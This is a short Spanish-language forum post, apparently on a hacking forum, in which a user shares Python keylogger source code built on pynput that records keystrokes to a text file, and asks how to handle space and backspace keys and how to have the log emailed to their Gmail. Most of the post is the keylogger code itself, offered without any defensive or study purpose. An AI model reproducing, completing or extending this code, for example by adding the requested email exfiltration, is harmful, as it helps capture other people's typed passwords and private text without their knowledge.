Problema con keylogger

Iniciado por Panic0, 30 Agosto 2020, 04:12 AM

0 Miembros y 1 Visitante están viendo este tema.

Panic0

Hola,estoy creando un keylogger.Y quiero que cuando se presione espacio o borrar se respete eso.Y no quede algo así (holaprueba12)

Y también quiero hacer que se me mande el archivo a mi gmail pero no se como hacer algo así.
from pynput.keyboard import Listener

f = open("KeyLogger{}.txt", "w")

def key_recorder(key):
   key=str(key)
   print(key)
   if key == "Key.enter":
       f.write("\n")
   elif key == "Key.space":
       f.write("")
   elif key == "Key.backspace":
       f.write("")
   elif key == "'\\x05'":
       f.close()
       quit()
   elif key == "Key.ctrl_l":
       f.write("")
   elif key == "Key.shift":
       f.write("")
   else:
       f.write(key.replace("'",""))
with Listener(on_press=key_recorder) as l1:
   l1.join()


PD:ctrl + e para cerrar el keylogger
Los ataques de pánico suelen comenzar de forma súbita, sin advertencia.